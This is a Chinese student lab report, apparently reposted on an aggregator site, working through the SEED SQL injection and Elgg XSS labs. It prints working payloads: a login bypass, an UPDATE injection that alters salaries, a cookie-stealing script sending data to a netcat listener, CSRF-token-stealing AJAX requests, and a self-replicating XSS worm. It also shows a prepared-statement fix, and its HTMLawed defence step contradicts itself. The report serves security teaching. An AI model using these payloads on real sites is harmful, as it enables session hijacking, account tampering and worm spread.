当前位置: 首页 > news >正文

20251903 2025-2026-2 《网络攻防实践》实践10报告

一、实验概述

1.1 实践目标

本次实践聚焦Web应用两大核心高危漏洞(SQL注入、XSS跨站脚本),完成从漏洞原理理解、实战利用到防御加固的全链路闭环操作,具体目标:

  1. 针对员工管理Web应用,实现SELECT/UPDATE语句的SQL注入攻击,掌握漏洞利用逻辑并完成预编译语句加固,验证防御效果。

  2. 基于Elgg开源社交应用,实现XSS攻击全场景(基础弹窗、Cookie窃取、无交互加好友、资料篡改、蠕虫传播),掌握XSS防御核心配置方法。

  3. 理解Web应用四层架构安全威胁模型,掌握信息收集、漏洞验证、防御落地的标准化流程,建立"输入不可信"的安全思维。

1.2 核心知识点

1.2.1 Web应用体系结构与攻击面

  • 核心规则:客户端(浏览器)→Web服务器(Apache)→应用服务器(PHP)→数据库服务器(MySQL)四层架构,HTTP请求逐层转发、结果逆向返回。

  • 攻击面分布:应用层(SQL注入、XSS、文件上传)、服务器层(Apache漏洞、中间件漏洞)、数据层(数据库提权、敏感信息泄露)、客户端层(钓鱼、浏览器漏洞)。

  • 实战用途:明确漏洞触发节点,针对性构造攻击载荷。

1.2.2 SQL注入核心原理与分类

  • 核心规则:用户输入未经过滤/转义,直接拼接至SQL语句执行,破坏原有查询逻辑。

  • 关键技巧#/--注释符截断语句、'单引号闭合字符串、预编译语句(prepare+bind_param)彻底规避注入。

  • 攻击类型:联合查询注入、报错注入、布尔盲注、时间盲注、堆叠查询注入(本次实验覆盖SELECT/UPDATE注入)。

  • 危害等级:高危,可导致数据泄露、篡改、删除,甚至服务器权限获取。

1.2.3 XSS跨站脚本攻击原理与分类

  • 核心规则:向网页注入恶意JavaScript代码,在受害者浏览器中执行,窃取敏感信息或执行恶意操作。

  • 分类特性

    • 反射型:URL触发,一次性,无持久化

    • 存储型:存入数据库,持久化触发,危害最大(本次实验核心)

    • DOM型:前端DOM解析触发,不经过服务器

  • 实战用途:Cookie窃取、会话劫持、自动操作、蠕虫传播。

1.2.4 HTTP请求与AJAX异步攻击

  • 核心规则:GET/POST参数传递、AJAX异步请求构造、Elgg安全令牌(__elgg_ts时间戳+__elgg_token随机令牌)防CSRF机制。

  • 关键突破:XSS攻击可通过前端JS获取当前用户的安全令牌,绕过CSRF防护,实现无交互攻击。

1.2.5 Web漏洞防御核心体系

  • SQL注入防御:预编译语句(首选)、输入验证与过滤、数据库最小权限原则、禁止错误回显。

  • XSS防御:输入转义、输出编码、HTMLawed插件过滤、HttpOnly Cookie、内容安全策略(CSP)。

1.2.6 实验环境关键配置

  • 虚拟机环境:SEEDUbuntu-16.04-32bit(预安装Apache、MySQL、PHP、Elgg)

  • 靶场域名解析:需在/etc/hosts中添加本地解析

  • 默认账户:MySQL root/seedubuntu、Elgg alice/seedalice、boby/seedboby、admin/seedadmin

二、实践任务与操作步骤

2.1 实验环境准备

2.1.1 虚拟机部署与基础配置

首先我们下载并导入虚拟机:从官方链接( https://seedsecuritylabs.org/lab_env.html )下载SEEDUbuntu-16.04-32bit.zip(我选择的是数字海洋那个),解压后在VMware中创建新虚拟机,虚拟机操作系统版本选择“Ubuntu”,处理器数量选择1个,内存分配2GB,选择"使用现有虚拟硬盘",指向解压后的SEEDUbuntu-16.04-32bit.vmdk(2kb的那个),其余均选择默认选项,完成系统导入。

image-20260602072054670

image-20260602072138592

image-20260602072202054

image-20260602072221472

image-20260602072439555

屏幕截图 2026-06-02 072513

屏幕截图 2026-06-02 072526

屏幕截图 2026-06-02 072720

image-20260602072826425

之后,我们修改主机名:

sudo hostnamectl set-hostname yanhaotong   # 替换为个人姓名
sudo reboot  #重启生效

image-20260602084216001

image-20260602084520866

2.2 SEED SQL注入攻击与防御实验

在 SEED SQL 注入实验中,unsafe_home.php文件的登录验证核心逻辑通过拼接用户输入的用户名 / 密码参数到 SQL 查询语句中,执行正常的 “用户名 + 密码” 双重身份校验流程;程序本身不存在专门的 “越权登录” 逻辑,但由于 SQL 语句直接拼接未过滤 / 转义的用户输入,我们实际上无需利用复杂的系统级漏洞,只需直接构造恶意的用户名输入篡改 SQL 语句的执行逻辑,将原本的双重校验 SELECT 查询语句,篡改为仅校验用户名且屏蔽密码校验的逻辑。当 PHP 程序执行到该拼接后的 SQL 语句时,就会跳过正常的密码验证流程,直接返回管理员的敏感数据并完成越权登录。具体的攻击操作步骤如下所述:

2.2.1 熟悉SQL语句

我们已创建名为 Users 的数据库,库中包含 creditential 数据表,用于存储员工个人信息。本任务将基于该数据库开展 SQL 查询练习,帮助熟悉各类查询语句的使用。

首先,我们登录MySQL数据库:

mysql -u root -p
# 输入密码:seedubuntu

image-20260602084806493

其次,我们查看所有数据库:

show databases;

image-20260602085650829

之后,我们进入Users数据库,查看所有表:

use Users;
show tables;

image-20260602085907783

再之后,我们查看表结构:明确字段名称和类型,避免注入时字段名错误:

desc credential;

屏幕截图 2026-06-02 090002

再之后,我们查询全表数据:

select * from credential;

image-20260602090156546

最后,我们条件查询特定字段:

select Name, Salary, SSN from credential where Name = 'Samy';

image-20260602090316527

2.2.2 对SELECT语句的SQL注入攻击

为了绕过登录验证,获取管理员权限。首先,我们打开虚拟机自带的火狐浏览器访问www.SEEDLabSQLInjection.com,按F12打开开发者工具→Network面板。

image-20260602090720836

其次,我们任意输入用户名(如2334)、密码(如23444),点击登录,抓包分析请求,可以看到

具体的请求方式:GET

具体的请求URL:/unsafe_home.php?username=2334&Password=23444

image-20260602091338688

之后,我们查看后端源代码,确认漏洞存在:

cat /var/www/SQLInjection/unsafe_home.php

image-20260602091738721

这里可以看到,关键漏洞代码如下所示,这里是将用户输入拼接到SQL语句中,形成的SQL注入漏洞。

image-20260602092217732

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name='$input_uname' and Password='$hashed_pwd';";

最后,我们通过构造注入载荷Admin'#,利用单引号闭合SQL语句原有字符串边界,再借助SQL注释符#屏蔽后续密码校验语句,让后端不再执行密码验证逻辑,仅对用户名进行校验,进而绕过登录身份验证,这样我们无需正确密码就能成功登录管理员账号。这里实际执行拼接后的SQL变为

SELECT ... FROM CREDENTIAL WHERE name='Admin'#'

image-20260602092625186

这里回车后发现我们已经绕过密码验证的环节,获取了管理员的权限,成功登录。

image-20260602092814262

2.2.3 对UPDATE语句的SQL注入攻击

为了以普通员工身份任意输入信息进行登录,首先我们抓包分析请求(如用户名Alice,密码seedalice),进入个人信息编辑页面,可以看到

具体的请求方式:GET

具体的请求URL:/unsafe_home.php?username=Alice&Password=seedalice

image-20260602145130098

之后,我们查看后端源代码:

cat /var/www/SQLInjection/unsafe_edit_backend.php

image-20260602145715606

image-20260602145813616

可以看到,关键的漏洞代码为:

if password field is empty$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', PhoneNumber='$input_phonenumber' 
Where ID=$id;";
}
$conn->query($sql);

再之后,我们构造注入载荷,构造 $input_nickname的值。具体载荷为:', Salary='20251903' Where Name='Admin';#,拼接后的SQL语句为:

UPDATE credential 
SET nickname='', Salary='20251903', Where Name='Admin'#', email='...', ... 
WHERE ID=$id;

image-20260602152126979

最后,我们填入载荷并保存,查询数据库验证:

image-20260602152159833

可以看到Admin的薪水已被篡改,证明实验成功

2.2.4 SQL注入防御加固

为了修复所有存在的SQL注入漏洞,我们使用预编译语句替代字符串拼接。首先我们先修复 sudo 主机解析报错

sudo gedit /etc/hosts

在打开host页面后,在文件末尾添加:

127.0.0.1   yanhaotong

image-20260602153103817

之后,我们修改文件权限:

sudo chmod u+w /var/www/SQLInjection/unsafe_home.php

image-20260602153259920

再之后,我们在文件中找到源码对应的路径进行修改,具体路径为/var/www/SQLInjection/unsafe_home.php

image-20260602154249818

image-20260602154739765

替换的具体漏洞代码为上述图1到图2的变化

// 原始漏洞代码
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name='$input_uname' and Password='$hashed_pwd';";// 修复后代码(预编译+参数绑定)
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= ? and Password=?;");
$sql->bind_param("ss", $input_uname, $hashed_pwd);  // "ss"表示两个字符串参数

最后,我们在替换完成后,重新尝试使用Admin'#登录,提示"用户名或密码错误"

image-20260602170647505发现已经没法登录了,说明漏洞修复成功

2.3 SEED XSS跨站脚本攻击实验(Elgg)

2.3.1 发布恶意消息(显示警报窗口)

为了验证存储型XSS漏洞存在。首先我们登录网址http://www.xsslabelgg.com,用户名为alice,密码为seedalice

image-20260602175000108

其次,我们点击右上角头像→Edit profile,进入个人资料编辑页面。

image-20260602175133608

之后,我们进入edit profile界面,在Brief description输入框中填入载荷:

<script>alert("20251903yht");</script>

image-20260602175306861

最后,我们点击Save保存后,页面立即弹出警报窗口(自身触发)。

image-20260602175346104

2.3.2 弹窗显示Cookie信息

为了获取访问者的Cookie信息。我们重新登录Alice账户,修改Brief description为:

<script> alert(document.cookie);</script>

image-20260602180320775

在保存后,任意用户访问Alice主页,都会弹出包含自身Cookie的窗口。且这个Cookie中包含Elgg会话ID(Elgg字段),窃取后可直接劫持用户会话。

image-20260602180350518

2.3.3 窃取受害者的Cookies

为了将受害者的Cookie发送至攻击者服务器。首先做为攻击者,我们在终端开启5555端口监听:

nc -l 5555 -v

其次,我们登录Alice修改Brief description为:

<script> document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script>

补充说明192.168.1.100替换为攻击者的实际IP地址(本地测试用127.0.0.1

image-20260602180558887

最后我们再登录boby的账户,查看alice账户信息时成功窃取到了boby用户的cookies。

image-20260602181530139

image-20260602181300482

2.3.4 自动成为受害者的朋友

为了能无交互添加受害者为好友,绕过Elgg的CSRF防护。首先,我们登录Alice账户,在最上面的一排中找到more页面,并从此进入Members页面,找到Boby用户,点击Add friend

image-20260602182147632

image-20260602182217480

其次,我们按F12打开开发者工具→网络面板,抓包分析加好友请求,可以看到

具体的请求方式:GET

具体的请求URL:http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1780406740&__elgg_token=Hr_ICRKg_T5XoeQhr3lcjg

关键参数:friend=45(Boby的用户ID)、__elgg_ts(时间戳)、__elgg_token(安全令牌),Elgg通过__elgg_ts__elgg_token防止CSRF攻击,但XSS攻击可通过前端JS获取当前用户的令牌。

image-20260602182724918

image-20260602182854763

屏幕截图 2026-06-02 182826

删掉好友回到初始状态以便后续验证。根据上述信息我们可以构造payload,来实现XSS攻击

<script type="text/javascript">
window.onload = function () {var Ajax=null;var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;var token="&__elgg_token="+elgg.security.token.__elgg_token;var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token;Ajax=new XMLHttpRequest();Ajax.open("GET",sendurl,true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");Ajax.send();
}
</script>

将该段代码放到Alice的 About me 下并选择 Edit HTML 模式,点击保存

image-20260602184427427

保存后,我们登录alice的主页,发现已经和boby成为好友

image-20260602184625089

我们再登录Boby账号访问Alice主页,发现自动成为Alice的好友,全程无感知。

image-20260602184807926

2.3.5 篡改受害者的个人信息

我们登录 Alice 账户进入个人资料编辑页面,将构造好的 XSS 恶意脚本粘贴至About me字段并保存。当其他用户访问 Alice 的个人主页时,脚本会自动在受害者浏览器中执行,获取当前登录用户的身份标识与 Elgg 安全令牌,构造并异步发送个人资料修改请求,将受害者的个人简介自动篡改为:This account has been cracked by 20251903yanhaotong。

<script type="text/javascript">window.onload = function(){//JavaScript code to access user name, user guid, Time Stamp __elgg_ts//and Security Token __elgg_tokenvar userName=elgg.session.user.name;var guid="&guid="+elgg.session.user.guid;var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;var token="&__elgg_token="+elgg.security.token.__elgg_token;var content=token+ts+"name="+userName+"&description=<p>This have been cracked by 20251903yanhaotong.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;  var sendurl = "http://www.xsslabelgg.com/action/profile/edit";var aliceGuid=45;    if(elgg.session.user.guid!=aliceGuid){//Create and send Ajax request to modify profilevar Ajax=null;Ajax=new XMLHttpRequest();Ajax.open("POST",sendurl,true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");Ajax.send(content);}
}
</script>

image-20260602202355507

之后我们验证是否攻击成功,我们登录smay用户访问Alice主页后,发现Alice个人简介被篡改为This have been cracked by 20251903yanhaotong.。

image-20260602203654152

2.3.6 编写并传播XSS蠕虫

我们将具备自我复制能力的存储型 XSS 蠕虫载荷注入 Alice 账户的About me公开字段并持久化存储。当任意用户加载该页面时,恶意 JavaScript 代码会在后台无感知执行:首先完成受害者个人资料的篡改,随后通过 DOM 接口获取自身完整代码并进行编码,将其作为内容的一部分提交至受害者的个人资料编辑接口。

这种机制使得每一个被感染的用户都会成为新的传播节点,其他用户访问其页面时会被同样感染,最终形成指数级的链式传播效果。通过添加感染标记可以避免重复感染,移除调试输出可以大幅提升攻击的隐蔽性。

<script id="worm" type="text/javascript">window.onload = function(){var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";var jsCode = document.getElementById("worm").innerHTML;var tailTag = "</" + "script>"; var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);var userName=elgg.session.user.name;var guid="&guid="+elgg.session.user.guid;var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;var token="&__elgg_token="+elgg.security.token.__elgg_token;//Construct the content of your url.var content= token + ts + "&name=" + userName + "&description=<p>20251903yanhaotong"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;var sendurl = "http://www.xsslabelgg.com/action/profile/edit"alert(content)var aliceGuid=45;if(elgg.session.user.guid!=aliceGuid){var Ajax=null;Ajax=new XMLHttpRequest();Ajax.open("POST",sendurl,true);Ajax.setRequestHeader("Host","www.xsslabelgg.com");Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");Ajax.send(content);}}
</script>

image-20260602204420443

之后我们验证是否攻击成功,我们登录smay用户访问Alice主页后,发现Alice个人简介被篡改为20251903yanhaotong并且会在弹窗里跳出自身代码复制。

image-20260602204405865

image-20260602204520239

之后,我们登录samy用户,发现其主页和Alice一样也被修改,已经被感染。

image-20260602204914644

最后,我们再登录Charlie账号,让其访问刚被感染的samy用户主页,发现Charlie主页的信息也被修改,因此Charlie已被Samy传染,这就是蠕虫病毒的特征,实验取得成功。

image-20260602205221278

2.3.7 XSS攻击防御加固(补充多种防御方法)

首先我们登录管理员账户:http://www.xsslabelgg.com/admin,用户名为admin,密码为seedelgg,其次我们在右上角选择"Account" -> "Administration" -> "Plugins"。

image-20260602211422569

之后我们找到 "HTMLawed" 插件(按首字母排序),将其关闭,设为 Deactivate 状态,该插件主要是用来校验用户的输入输出,并且可以自动删除特定的标签。

image-20260602212254022

最后我们访问被感染的用户主页,恶意代码以明文形式显示,不再执行;我们尝试注入新的 XSS 代码,系统也自动过滤,攻击失效。

image-20260602212333742

三、实验中出现的问题与解决措施

问题1:虚拟机无法粘贴本机剪贴板内容

  • 解决措施:在虚拟机中解压和安装VMware Tools

# 1. 创建存放目录
mkdir ~/vmtools# 2. 查找VMware Tools光盘挂载路径
ls /media/
ls /media/seed/# 3. 进入VMware Tools光盘目录(用反斜杠转义空格)
cd /media/seed/VMware\ Tools/
# 查看里面的文件,找到真正的.tar.gz文件名
ls# 4. 解压安装包
# 先回到家目录
cd ~
# 把整个路径用双引号包起来,替换成真实文件名
tar -zxvf "/media/seed/VMware Tools/VMwareTools-10.3.25-20206839.tar.gz" -C ~/vmtools/# 5. 进入解压目录
cd ~/vmtools/vmware-tools-distrib/# 6. 执行安装脚本
sudo ./vmware-install.pl
# 安装交互:遇到继续安装提示输入yes回车,其余全部直接回车默认配置# 7. 安装完成,重启生效
sudo reboot

屏幕截图 2026-06-02 074031

屏幕截图 2026-06-02 075706

屏幕截图 2026-06-02 080912

屏幕截图 2026-06-02 081206

  • 安装中的错误 1:直接使用默认路径 /media/cdrom/VMwareTools-*.tar.gz 解压,提示No such file or directory(路径错误)

  • 安装中的错误 2:使用 /media/seed/VMware\ Tools/VMwareTools-*.tar.gz 时,文件名被误拆成VmwareToo ls-*.tar.gz(空格 / 通配符问题)

  • 安装中的错误 3:使用小写开头的VmwareTools-*.tar.gz,和真实文件名VMwareTools-10.3.25-20206839.tar.gz大小写不匹配,导致解压失败

屏幕截图 2026-06-02 081404

屏幕截图 2026-06-02 081730

屏幕截图 2026-06-02 081824

  • 安装中的错误 4:安装提示Do you still want to proceed with this installation? [no]时,输入了yes,后续所有带[...]的默认选项都误输入了yes,导致程序把yes当成 “路径”,报错The path "yes" is a relative path

  • 安装中的错误 5:不理解安装提示的默认选项,误以为必须输入yes才能继续,导致安装流程卡住

问题2:在进行SQL注入防御加固时出现文件权限无法修改

首先,我先一步一步通过ls命令,找到对应的路径/var/www/SQLInjection之后,再对其输入sudo chmod u+w /var/www/SQLInjection/unsafe_home.php指令修改文件权限,之后再修改相关的sql注入语句,完成后续的任务

// 原始漏洞代码
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name='$input_uname' and Password='$hashed_pwd';";// 修复后代码(预编译+参数绑定)
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= ? and Password=?;");
$sql->bind_param("ss", $input_uname, $hashed_pwd);  // "ss"表示两个字符串参数

问题3:登录不了admin账号

这个账号的密码不是和其他几个用户一样是seed+用户名,这个的密码是seedelgg,所以一直报错进不去

四、实验总结与感想

本次Web攻防实验让我完整经历了"漏洞原理→实战攻击→防御加固"的全流程,对SQL注入和XSS这两个Web安全"常青树"漏洞有了从理论到实战的深刻理解,也收获了许多书本上学不到的经验。

实验初期,我低估了环境配置的重要性,踩了不少基础问题的坑。让我头疼的是虚拟机无法与主机共享剪贴板,导致大量代码和命令只能手动输入,不仅效率极低,还容易出现拼写错误。为了解决这个问题,我尝试安装 VMware Tools,过程中又接连遇到了路径错误、文件名大小写不匹配、空格转义失败等问题,甚至因为误解安装提示,把所有带[...]的默认选项都输入了yes,导致程序把yes当成路径报错,安装流程反复卡住。经过多次尝试和逐步排查,我终于一步步完成了安装,实现了剪贴板共享。这些经历让我深刻明白:攻防实验的第一步永远是环境验证,任何一个细节的疏忽 —— 无论是一个配置项的遗漏,还是一个命令的拼写错误,都会导致后续实验无法进行。

在SQL注入实验中,当我用一行Admin'#就绕过了登录验证,看到所有员工的敏感信息时,我感到非常震撼。原来开发者的一个小小的疏忽——没有对用户输入进行过滤,就能让整个数据库的安全防线彻底崩溃。而当我用预编译语句修复漏洞后,再尝试各种注入方式都无效,这让我深刻认识到:防御SQL注入的根本不是"过滤特殊字符",而是"切断输入与SQL语句的直接拼接"。预编译语句将数据和代码分离,从根源上杜绝了注入的可能。

XSS实验的难度更高,也更有趣。从基础的alert弹窗,到窃取Cookie、自动加好友,再到编写能自我传播的蠕虫,每一步都需要我深入理解Elgg的前端逻辑和安全机制。特别是编写蠕虫代码时,我反复调试了十几次才解决了代码转义和自我复制的问题。当我看到Boby访问Alice页面后被感染,Charlie又访问Boby页面被感染,蠕虫在虚拟环境中链式传播时,我真切感受到了存储型XSS的巨大破坏力——一个漏洞就能让整个社交网络的用户被批量攻击。而启用HTMLawed插件后,所有恶意代码都被过滤,这也让我明白:成熟的安全框架和插件是Web应用防御的重要屏障,但更重要的是从开发阶段就树立"输入不可信"的安全意识。

这次实验也让我对Web安全的现状有了更清醒的认识。SQL注入和XSS已经存在了二十多年,但至今仍然是OWASP Top 10中的常客。这背后的原因,除了开发者安全意识不足,还有开发节奏快、安全投入不足等因素。作为未来的网络安全从业者,我们不仅要掌握攻击技术,更要学会如何帮助开发者构建更安全的应用,从源头减少漏洞的产生。

最后,我要感谢老师的指导和同学的帮助。在实验过程中,我遇到了很多问题,通过和同学讨论、查阅资料,最终都一一解决。这个过程不仅提高了我的动手能力,也培养了我的问题解决能力和团队协作精神。这次实验让我明白,网络安全是一个需要不断学习、不断实践的领域,只有保持好奇心和求知欲,才能在这个快速发展的行业中立足。

http://www.jsqmd.com/news/938237/

相关文章:

  • 电路设计多元应用:从创客工作坊到智能生活改造实践
  • 别再只聊ChatGPT了:从图灵测试到“完全图灵测试”,AI的“模仿游戏”走到哪一步了?
  • 泰戈尔的诗歌摘录
  • SVGnest架构设计:基于浏览器端遗传算法的工业级矢量嵌套解决方案
  • AD9361配置终极固化方案:手把手教你将dat文件转为COE,烧录进FPGA板载Flash
  • Windows图标显示异常?深度解析图标缓存机制与ie4uinit.exe的隐藏用法
  • 从‘网络退化’到‘恒等映射’:深入浅出图解ResNet残差连接,为什么它能救活超深网络?
  • 手把手教你爬取苏宁易购全品牌商品信息:动态加载破解与高可用请求架构,爬取苏宁易购某个品牌的所有商品信息o 技术点:动态加载数据、requests重试机制
  • 2026南昌红谷滩周边优质游玩地排行 文旅体验全解析 - 资讯焦点
  • STM32F103C8T6驱动AD2S1210读取RVDT角度:一个新手工程师的踩坑与调通全记录
  • 数据中台解决孤岛难题 助力交通水利智能互联 - 资讯焦点
  • 2026国内封闭式减肥训练营深度选购指南与横向测评报告 - 资讯纵览
  • 告别Jupyter Notebook玄学问题:深度解析config文件与pyzmq版本的那些事儿
  • 企业文件同步引擎的架构设计:从rsync到实时增量同步
  • 终极网盘下载加速指南:LinkSwift九大网盘直链下载助手完全教程
  • 别再只用CUDA_VISIBLE_DEVICES了!PyTorch和TensorFlow指定GPU的5种实战方法对比
  • 终极macOS光标定制指南:免费打造个性化鼠标体验
  • Pulover‘s Macro Creator:基于AutoHotkey的自动化脚本生成器深度解析
  • NJU OS 程序和进程;fork, execve, exit
  • 数学建模国赛论文如何写出高分“模型的评价与推广”?避开这三个常见误区就能加分
  • 智能小车PCB实战:用AD24完成从原理图绘制到DRC检查的全过程解析
  • 扩散模型太随机?BBDM不够用?试试DDBM:一个模型搞定确定性与多样性
  • 内网开发福音:手把手教你在无外网服务器离线部署1Panel Docker管理面板
  • 【错误记录】flutter attach 附加设备 执行报错 ( 附加设备注意事项 )
  • 福宝清朝姓氏历史整 理记录随笔2000年
  • 音乐解锁终极指南:3分钟学会解密各大平台加密音乐文件
  • Android TV搞多路Miracast投屏?小心这个‘单通道’陷阱让你的优化前功尽弃
  • 2026贵阳靠谱装企深度解析|福旺居装饰 高转介绍率背后硬实力 - 资讯纵览
  • 告别双击无响应!CentOS 7 Gnome桌面下为Chrome/Firefox创建稳定快捷方式的正确姿势
  • 从SfM点云到可交互3D场景:手把手教你用Gaussian Splatting重建你的房间